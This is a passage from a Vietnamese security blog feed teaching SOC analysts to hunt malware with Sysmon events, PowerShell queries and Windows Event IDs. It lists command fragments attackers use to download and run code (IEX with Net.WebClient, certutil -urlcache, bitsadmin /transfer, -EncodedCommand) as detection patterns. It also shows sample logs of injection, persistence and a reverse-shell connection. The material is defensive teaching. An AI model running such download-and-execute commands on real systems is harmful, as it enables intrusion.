&lt;/h2&gt;&lt;p&gt;Khi Sysmon Event ID 1 nổ ra, nó cung cấp cho SOC Analyst một bức tranh toàn cảnh không thể chối cãi. Hãy cùng &amp;ldquo;soi&amp;rdquo; vào các trường dữ liệu sinh tử của nó:&lt;/p&gt;
&lt;h3 id="21-thông-tin-định-danh-process-info"&gt;2.1 Thông tin định danh (Process Info)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ProcessId:&lt;/strong&gt; Số định danh tiến trình trong hệ thống.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Image:&lt;/strong&gt; Đường dẫn vật lý của file thực thi trên ổ cứng (VD: &lt;code&gt;C:\Windows\System32\cmd.exe&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CommandLine:&lt;/strong&gt; Ghi lại chính xác từng chữ mà kẻ tấn công đã gõ vào lệnh.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-nguồn-gốc-khởi-tạo-parent-info"&gt;2.2 Nguồn gốc khởi tạo (Parent Info)
&lt;/h3&gt;&lt;p&gt;Mã độc hiếm khi tự nhiên sinh ra. Nó luôn được một thứ gì đó gọi ra.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ParentImage:&lt;/strong&gt; Đây là tiến trình cha. Việc nhìn vào tiến trình cha giúp bạn biết lệnh này do người dùng click chuột mở (như từ &lt;code&gt;explorer.exe&lt;/code&gt;) hay bị gọi ngầm bởi một đoạn mã độc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="23-dấu-vân-tay-của-tệp-binary-info"&gt;2.3 Dấu vân tay của tệp (Binary Info)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hashes:&lt;/strong&gt; Sysmon sẽ tự động tính toán mã Hash (như MD5, SHA256) của file thực thi ngay khi nó chạy. Đây là tính năng &amp;ldquo;đáng tiền&amp;rdquo; nhất của Sysmon.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="So sánh Event ID 4688 và Event ID 1 của Sysmon" class="gallery-image" data-flex-basis="527px" data-flex-grow="219" height="291" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/sysmon-phan-1-giam-sat-tien-trinh/sosanh.png" width="639"&gt;&lt;/p&gt;
&lt;h2 id="3-bắt-thóp-mã-độc-kỹ-năng-threat-hunting-thực-chiến"&gt;3. &amp;ldquo;Bắt thóp&amp;rdquo; Mã độc: Kỹ năng Threat Hunting thực chiến
&lt;/h2&gt;&lt;p&gt;Với các thông tin từ Sysmon EID 1, làm sao để phát hiện bất thường? Đừng tìm kiếm ngẫu nhiên, hãy bám vào 3 dấu hiệu (Red Flags) sau:&lt;/p&gt;
&lt;h3 id="kỹ-thuật-1-lột-mặt-nạ-ngụy-trang-masquerading-bằng-mã-hash"&gt;Kỹ thuật 1: Lột mặt nạ ngụy trang (Masquerading) bằng mã Hash
&lt;/h3&gt;&lt;p&gt;Hacker hiểu rằng nếu chạy một file có tên &lt;code&gt;virus_an_cap.exe&lt;/code&gt;, chúng sẽ bị tóm ngay. Vì thế, chúng thường đổi tên mã độc thành các tiến trình hệ thống chuẩn như &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;svchost.exe&lt;/code&gt; hay &lt;code&gt;lsass.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tuy nhiên, dù tên file có đổi, mã Hash thì không bao giờ thay đổi. Khi Sysmon ghi lại mã SHA256 của tiến trình &lt;code&gt;cmd.exe&lt;/code&gt; giả mạo đó, bạn chỉ cần ném mã Hash đó lên VirusTotal. Mã Hash sẽ lập tức &amp;ldquo;tố cáo&amp;rdquo; đó là một file độc hại chứ không phải file chuẩn của Microsoft.&lt;/p&gt;
&lt;h3 id="kỹ-thuật-2-phân-tích-phả-hệ-tiến-trình-parent-child-anomalies"&gt;Kỹ thuật 2: Phân tích Phả hệ Tiến trình (Parent-Child Anomalies)
&lt;/h3&gt;&lt;p&gt;Đây là kỹ năng &amp;ldquo;nhìn thấu&amp;rdquo; logic hoạt động của hệ thống. Những tiến trình cha - con sau đây là cực kỳ phi logic và chắc chắn là mã độc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WINWORD.EXE (Microsoft Word) sinh ra powershell.exe hoặc cmd.exe:&lt;/strong&gt; Rất có thể một nhân viên vừa mở file Word chứa mã độc Macro, và nó đang gọi lệnh tải virus về máy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;notepad.exe sinh ra cmd.exe:&lt;/strong&gt; Notepad chỉ là phần mềm gõ văn bản, nó tuyệt đối không có lý do gì để gọi cửa sổ dòng lệnh.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="kỹ-thuật-3-truy-vết-các-đường-dẫn-và-câu-lệnh-đáng-ngờ"&gt;Kỹ thuật 3: Truy vết các đường dẫn và câu lệnh đáng ngờ
&lt;/h3&gt;&lt;p&gt;Bạn cần cấu hình SIEM (hoặc viết script PowerShell) báo động ngay lập tức nếu tiến trình (Image) được chạy từ các thư mục trú ẩn quen thuộc của malware như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Users\*\AppData\Local\Temp\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\Public\&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bên cạnh đó, hãy soi kỹ trường &lt;code&gt;CommandLine&lt;/code&gt;. Hacker thường dùng các lệnh sau để tải mã độc thẳng vào RAM hoặc giải mã script:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-EncodedCommand&lt;/code&gt; (Chạy mã PowerShell đã mã hóa Base64)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IEX (New-Object Net.WebClient)&lt;/code&gt; (Lệnh tải file từ Internet)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certutil -urlcache&lt;/code&gt; hoặc &lt;code&gt;bitsadmin /transfer&lt;/code&gt; (Lợi dụng phần mềm có sẵn của Windows để tải virus)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-thực-hành-truy-vấn-sysmon-bằng-powershell"&gt;4. Thực hành truy vấn Sysmon bằng PowerShell
&lt;/h2&gt;&lt;p&gt;Thay vì click chuột mỏi tay trong Event Viewer, các Threat Hunter thường dùng PowerShell để săn lùng (Hunting) dấu vết tiến trình độc hại. Dưới đây là đoạn code mẫu giúp bạn trích xuất tất cả các lần &lt;code&gt;powershell.exe&lt;/code&gt; được gọi ra bởi thư mục Temp:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Truy vấn Sysmon Event ID 1 (Process Create)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$Query = &lt;span style="color:#e6db74"&gt;&amp;#34;*[System[EventID=1]]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Lọc các sự kiện có Image là powershell và ParentImage nằm trong thư mục Temp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Get-WinEvent -LogName &lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft-Windows-Sysmon/Operational&amp;#34;&lt;/span&gt; -FilterXPath $Query | 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Where-Object {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $_.Message &lt;span style="color:#f92672"&gt;-match&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Image: .*powershell\.exe&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;-and&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $_.Message &lt;span style="color:#f92672"&gt;-match&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ParentImage: .*\\Temp\\.*&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } | Format-List TimeCreated, Message
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Result" class="gallery-image" data-flex-basis="420px" data-flex-grow="175" height="567" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/sysmon-phan-1-giam-sat-tien-trinh/result.png" srcset="/post/sysmon-phan-1-giam-sat-tien-trinh/result_hu_58c3bd88eec3efb8.png 800w, /post/sysmon-phan-1-giam-sat-tien-trinh/result.png 994w" width="994"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Bằng cách tận dụng Sysmon Event ID 1, bạn đã bịt được lỗ hổng khổng lồ của Event Viewer mặc định. Mã Hash và Cây tiến trình (Parent-Child) chính là hai thanh gươm sắc bén nhất để lột mặt nạ mọi loại mã độc ngụy trang. Trong bài viết tới (Phần 2), chúng ta sẽ tiếp tục đi sâu vào các Event ID khác của Sysmon (EID 3, 10, 11) để truy vết mã độc tàng hình (Fileless Malware) và hành vi ăn cắp mật khẩu. Hẹn gặp lại các bạn!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Sysmon (Phần 2)</title><link>/post/sysmon-phan-2-fileless-malware/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/sysmon-phan-2-fileless-malware/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Phần 2 của loạt bài về Sysmon trong Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Ở phần trước, chúng ta đã dùng Event ID 1 để &amp;ldquo;bắt thóp&amp;rdquo; mã độc dựa vào mã Hash. Nhưng nếu mã độc không tồn tại dưới dạng file trên ổ cứng thì sao? Nếu chúng chạy thẳng trên RAM, hoặc âm thầm chọc ngoáy vào tiến trình hệ thống để ăn cắp mật khẩu? Hôm nay, chúng ta sẽ mở khóa sức mạnh thực sự của Sysmon với bộ 3 Event ID sinh tử: 3, 10 và 11 để chống lại những kỹ thuật lẩn tránh (Evasion) tinh vi nhất.&lt;/p&gt;
&lt;h2 id="1-event-id-10-process-access-kính-lúp-soi-bộ-nhớ-và-fileless-malware"&gt;1. Event ID 10 (Process Access): &amp;ldquo;Kính lúp&amp;rdquo; soi bộ nhớ và Fileless Malware
&lt;/h2&gt;&lt;p&gt;Trong hệ điều hành Windows, các tiến trình (Process) vốn dĩ nằm trong các không gian bộ nhớ biệt lập. Tuy nhiên, mã độc thường xuyên tìm cách &amp;ldquo;chọc&amp;rdquo; vào vùng nhớ của các tiến trình hệ thống hợp lệ để ăn cắp dữ liệu hoặc tiêm mã độc (Process Injection) nhằm che giấu hành vi.&lt;/p&gt;
&lt;p&gt;Đây là lúc &lt;strong&gt;Sysmon Event ID 10 (Process Access)&lt;/strong&gt; tỏa sáng. Trong khi Windows mặc định dùng Event ID 4656 nhưng rất khó cấu hình, Sysmon EID 10 cung cấp bức tranh rõ nét về việc tiến trình nào đang đòi quyền truy cập vào tiến trình nào.&lt;/p&gt;
&lt;p&gt;Đặc biệt, EID 10 là &amp;ldquo;khắc tinh&amp;rdquo; của hai hành vi sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dump mật khẩu LSASS:&lt;/strong&gt; Hacker thường nhắm vào tiến trình &lt;code&gt;lsass.exe&lt;/code&gt; để trích xuất mật khẩu. EID 10 sẽ cảnh báo ngay nếu một file lạ xin quyền truy cập vào &lt;code&gt;lsass.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tiêm mã độc vào RAM (Kỹ thuật tàng hình/Fileless):&lt;/strong&gt; Dưới đây là một ví dụ thực chiến từ log Sysmon:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Source Image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Users\sarah.miller\Downloads\ckjg.exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Target Image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Windows\System32\Wbem\wmic.exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Granted Access&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0x1FFFFF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;CallTrace&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Windows\SYSTEM32\ntdll.dll+...|UNKNOWN(00007FF7CE73CB77)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Phân tích góc nhìn SOC:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Một file có tên ngẫu nhiên &lt;code&gt;ckjg.exe&lt;/code&gt; tải về từ thư mục Downloads lại đi chọc vào công cụ quản lý hệ thống &lt;code&gt;wmic.exe&lt;/code&gt; của Windows.&lt;/li&gt;
&lt;li&gt;Quyền truy cập là &lt;code&gt;0x1FFFFF&lt;/code&gt; (Full Access) – một quyền tối thượng cực kỳ đáng ngờ.&lt;/li&gt;
&lt;li&gt;Đáng chú ý nhất là trường &lt;code&gt;CallTrace&lt;/code&gt;. Nó hiển thị chuỗi thư viện được gọi, nhưng ở đoạn cuối lại xuất hiện vùng nhớ &lt;code&gt;UNKNOWN(00007FF7CE73CB77)&lt;/code&gt;. Điều này cho thấy mã thực thi đang chạy ở một vùng nhớ không xác định, một dấu hiệu kinh điển của việc mã độc giải nén (unpack) shellcode trực tiếp vào RAM để né phần mềm diệt virus quét file vật lý.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-event-id-11-file-creation-theo-dấu-các-điểm-neo-persistence"&gt;2. Event ID 11 (File Creation): Theo dấu các điểm neo Persistence
&lt;/h2&gt;&lt;p&gt;Hacker có thể chạy mã độc trên RAM, nhưng để duy trì sự hiện diện (Persistence) qua những lần khởi động lại máy, chúng buộc phải để lại một thứ gì đó trên ổ đĩa. Thay vì cấu hình Audit Object Access phức tạp để lấy Event ID 4663 của Windows, &lt;strong&gt;Sysmon Event ID 11&lt;/strong&gt; mặc định ghi lại toàn bộ các file thực thi được tạo ra.&lt;/p&gt;
&lt;p&gt;Dựa vào tiến trình đáng ngờ &lt;code&gt;ckjg.exe&lt;/code&gt; ở trên, nếu ta tra cứu tiếp Event ID 11, ta sẽ bắt được ngay hành động giấu file của nó:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;ProcessId&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1460&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Users\sarah.miller\Downloads\ckjg.exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;TargetFilename&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Users\sarah.miller\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Chỉ với một log duy nhất, Sysmon EID 11 đã vạch trần việc mã độc vừa âm thầm tạo một file khởi động tên là &lt;code&gt;DeleteApp.url&lt;/code&gt; nhét thẳng vào thư mục Startup của người dùng để kích hoạt cùng hệ thống.&lt;/p&gt;
&lt;h2 id="3-event-id-3-network-connection-bắt-tại-trận-reverse-shell"&gt;3. Event ID 3 (Network Connection): Bắt tại trận Reverse Shell
&lt;/h2&gt;&lt;p&gt;Mã độc lấy cắp dữ liệu xong thì phải gửi ra ngoài, hoặc nó cần kết nối về máy chủ C2 (Command &amp;amp; Control) để nhận lệnh.&lt;/p&gt;
&lt;p&gt;Nhật ký tường lửa mặc định của Windows (EID 5156) thường sinh ra quá nhiều &amp;ldquo;rác&amp;rdquo; (noise), nhưng &lt;strong&gt;Sysmon Event ID 3&lt;/strong&gt; lại là một tuyệt tác vì nó gắn trực tiếp kết nối mạng đó với một tiến trình cụ thể.&lt;/p&gt;
&lt;p&gt;Khi soi tiếp tiến trình &lt;code&gt;ckjg.exe&lt;/code&gt; bằng EID 3, ta thu được:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Protocol&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;tcp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Source IP&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10.10.57.125&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;(Máy nạn nhân)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Destination IP&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;193.46.217.4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Destination Port&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;[Mẹo SOC]:&lt;/strong&gt; Cổng 7777 thường không phải là cổng dịch vụ chuẩn. Sự kết hợp giữa một tiến trình rác trong thư mục Downloads, thực hiện Process Injection (EID 10), thả file vào Startup (EID 11) và mở cổng TCP ra IP bên ngoài (EID 3) là một bằng chứng 100% về một cuộc tấn công Reverse Shell đang diễn ra.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="4-đối-đối-phó-với-timestomping-và-fileless-nâng-cao"&gt;4. Đối đối phó với Timestomping và Fileless nâng cao
&lt;/h2&gt;&lt;h3 id="41-timestomping-giả-mạo-thời-gian"&gt;4.1 Timestomping (Giả mạo thời gian)
&lt;/h3&gt;&lt;p&gt;Trong quá trình điều tra Forensics, timeline là yếu tố sống còn. Để đánh lừa các nhà phân tích, hacker sử dụng kỹ thuật Timestomping – dùng công cụ sửa đổi ngày tạo (Creation Time) của mã độc lùi về quá khứ để trông giống như một tệp hệ thống đã tồn tại từ lâu.&lt;/p&gt;
&lt;p&gt;Ví dụ, trong một ổ đĩa FAT32 bị điều tra, ta có thể thấy một file &lt;code&gt;install.txt&lt;/code&gt; có thời gian truy cập cuối (Accessed Time) là năm 2018, nhưng thời gian tạo (Created Time) lại là năm 2025. Đây là dấu vết thao túng thời gian rõ rệt.&lt;/p&gt;
&lt;p&gt;Để bắt được hành vi này ngay lập tức, ta sử dụng &lt;strong&gt;Sysmon Event ID 2&lt;/strong&gt;. Nếu Windows Event ID 4670 chỉ đơn thuần ghi nhận thay đổi quyền/thuộc tính, thì Sysmon EID 2 được thiết kế đặc biệt để phát hiện và cảnh báo ngay khi có kẻ cố tình sửa đổi thời gian tạo của tệp tin.&lt;/p&gt;
&lt;h3 id="42-giám-sát-fileless-qua-powershell-event-id-4104"&gt;4.2 Giám sát Fileless qua PowerShell (Event ID 4104)
&lt;/h3&gt;&lt;p&gt;Khi nói đến mã độc không để lại file, PowerShell là công cụ bị lạm dụng nhiều nhất. Hacker sẽ truyền các chuỗi lệnh đã mã hóa Base64 thẳng vào RAM. Nếu chỉ nhìn Sysmon EID 1, bạn sẽ chỉ thấy câu lệnh &lt;code&gt;powershell -encodedCommand ...&lt;/code&gt; vô nghĩa.&lt;/p&gt;
&lt;p&gt;Để đối phó, SOC Analyst phải bật tính năng &lt;strong&gt;Script Block Logging (Event ID 4104)&lt;/strong&gt; trong nhánh &lt;code&gt;Microsoft-Windows-PowerShell/Operational&lt;/code&gt;. Ngay cả khi hacker mã hóa code, PowerShell bắt buộc phải tự giải mã nó trên RAM để thực thi. Lúc này, EID 4104 sẽ chộp lại và lưu trữ toàn bộ nội dung code dạng nguyên bản (clear-text).&lt;/p&gt;
&lt;p&gt;Bạn cũng có thể theo dõi &lt;strong&gt;Event ID 4103 (Module Logging)&lt;/strong&gt; để xem chính xác các tham số và biến số (Parameter Binding) nào đã được nạp vào, giúp truy vết tận gốc nguồn tài nguyên độc hại.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Bằng cách kết hợp Sysmon (EID 3, 10, 11) cùng các nhật ký giám sát PowerShell, bạn đã dựng lên một lưới điện an ninh dày đặc. Mã độc có thể đổi tên, giấu file, giả mạo thời gian hay chạy trên RAM, nhưng chúng không bao giờ có thể xóa bỏ hoàn toàn những chuỗi hành vi logic mà chúng tạo ra trên hệ điều hành. Chúc các bạn áp dụng hiệu quả vào hệ thống SIEM của mình để trở thành một Threat Hunter xuất sắc!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Tổng quan Windows Event Logs và kỹ năng lọc log bằng PowerShell XML</title><link>/post/windows-event-logs-xml/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/windows-event-logs-xml/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Bất kỳ một tên trộm nào khi đột nhập cũng sẽ cố gắng xóa dấu vết, trốn tránh camera. Trong hệ điều hành Windows, &amp;ldquo;camera an ninh&amp;rdquo; đó chính là Event Logs (Nhật ký sự kiện). Mã độc có thể ẩn mình dưới lớp vỏ bọc &lt;code&gt;svchost.exe&lt;/code&gt; hay lách qua UAC, nhưng mọi hành động của chúng đều để lại những &amp;ldquo;gợn sóng&amp;rdquo; trong nhật ký hệ thống. Hôm nay, chúng ta sẽ học cách đọc hiểu các Event ID sinh tử và sử dụng PowerShell kết hợp XML để truy vết hacker với tốc độ ánh sáng!&lt;/p&gt;
&lt;h2 id="1-tổng-quan-về-windows-event-logs"&gt;1. Tổng quan về Windows Event Logs
&lt;/h2&gt;&lt;p&gt;Event Logs là nơi lưu trữ mọi &amp;ldquo;nhịp đập&amp;rdquo; của máy tính. Bất kể là bạn cắm một chiếc USB, cài một phần mềm, khởi động dịch vụ hay gõ sai mật khẩu, Windows đều ghi chép lại một cách tỉ mỉ.&lt;/p&gt;
&lt;h3 id="11-phân-loại-nhật-ký-log-types"&gt;1.1 Phân loại Nhật ký (Log Types)
&lt;/h3&gt;&lt;p&gt;Hệ thống phân chia nhật ký thành nhiều nhánh để dễ quản lý:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;System (Hệ thống):&lt;/strong&gt; Ghi lại các sự kiện liên quan đến hệ điều hành, thay đổi phần cứng, khởi động/tắt máy và hoạt động của trình điều khiển (Driver).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security (Bảo mật):&lt;/strong&gt; Đây là mỏ vàng của SOC. Ghi lại các sự kiện Đăng nhập/Đăng xuất (Logon/Logoff), thay đổi quyền hạn và quản lý người dùng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Application (Ứng dụng):&lt;/strong&gt; Ghi lại lỗi phần mềm (crash), cảnh báo từ các ứng dụng cài đặt trên máy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-mức-độ-sự-kiện-event-levels"&gt;1.2 Mức độ Sự kiện (Event Levels)
&lt;/h3&gt;&lt;p&gt;Mỗi sự kiện được gắn một mức độ nghiêm trọng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Information:&lt;/strong&gt; Hoạt động bình thường, thành công.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Warning:&lt;/strong&gt; Có vấn đề tiềm tàng nhưng chưa làm sập chức năng (ví dụ: ổ đĩa sắp đầy).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error:&lt;/strong&gt; Vấn đề nghiêm trọng (mất dữ liệu, phần mềm bị crash).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Success/Failure Audit:&lt;/strong&gt; Cực kỳ quan trọng trong nhánh Security, ghi nhận các nỗ lực truy cập tài nguyên (đăng nhập đúng hoặc sai pass).&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Góc nhìn SOC - Cấu hình dung lượng Log:&lt;/strong&gt; Mặc định, file log (như &lt;code&gt;Security.evtx&lt;/code&gt;) bị giới hạn dung lượng (thường là 20MB) và được cấu hình ghi đè sự kiện cũ nhất (Overwrite events as needed). Hacker hiểu điều này, chúng có thể &amp;ldquo;xả rác&amp;rdquo; (Spam logs) để đẩy các log độc hại trôi đi mất. Do đó, trên các máy chủ quan trọng, quản trị viên thường phải chỉnh thành cấu hình &lt;strong&gt;Archive the log when full&lt;/strong&gt; (Nén lại khi đầy) để không mất dấu vết lịch sử.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="2-từ-điển-event-id-gối-đầu-giường-của-soc"&gt;2. Từ điển Event ID &amp;ldquo;Gối đầu giường&amp;rdquo; của SOC
&lt;/h2&gt;&lt;p&gt;Để săn tìm mã độc, bạn không thể đọc từng dòng log một. Bạn phải thuộc lòng những Event ID (EID) mang tính &amp;ldquo;chỉ điểm&amp;rdquo; sau đây:&lt;/p&gt;
&lt;h3 id="21-nhóm-application-ứng-dụng"&gt;2.1 Nhóm Application (Ứng dụng)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;EID 1000 (Application Error):&lt;/strong&gt; Phần mềm bị treo cứng và tự đóng. Nếu một dịch vụ quan trọng (như &lt;code&gt;lsass.exe&lt;/code&gt;) liên tục báo lỗi 1000, có thể hacker đang dùng tool dump bộ nhớ bị lỗi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EID 11724 (MsiInstaller):&lt;/strong&gt; Thông báo một phần mềm vừa bị gỡ bỏ. Nếu phần mềm bị gỡ là Antivirus, đây là báo động đỏ cực độ (Red Flag)!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-nhóm-system-hệ-thống"&gt;2.2 Nhóm System (Hệ thống)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;EID 12 / 13:&lt;/strong&gt; Máy tính bắt đầu Boot (12) và Tắt máy bình thường (13).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EID 7040:&lt;/strong&gt; Thay đổi loại khởi động của một dịch vụ (ví dụ: bật lại một dịch vụ từ Disable sang Auto).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EID 7045:&lt;/strong&gt; Một dịch vụ (Service) mới vừa được cài đặt. Hacker cực kỳ thích cài &amp;ldquo;Backdoor&amp;rdquo; dưới dạng một Service để tự chạy ngầm cùng quyền LocalSystem.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="23-nhóm-security-bảo-mật---trái-tim-của-soc"&gt;2.3 Nhóm Security (Bảo mật) - Trái tim của SOC
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;EID 4624 (Logon Success):&lt;/strong&gt; Đăng nhập thành công. Cần soi kỹ Logon Type (Type 2 là ngồi gõ trực tiếp, Type 3 là qua mạng/Share, Type 10 là Remote Desktop).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EID 4625 (Logon Failure):&lt;/strong&gt; Gõ sai pass. Nếu EID này xuất hiện dồn dập hàng loạt với nhiều user khác nhau, bạn đang đối mặt với tấn công Password Spraying hoặc Brute Force.&lt;/li&gt;
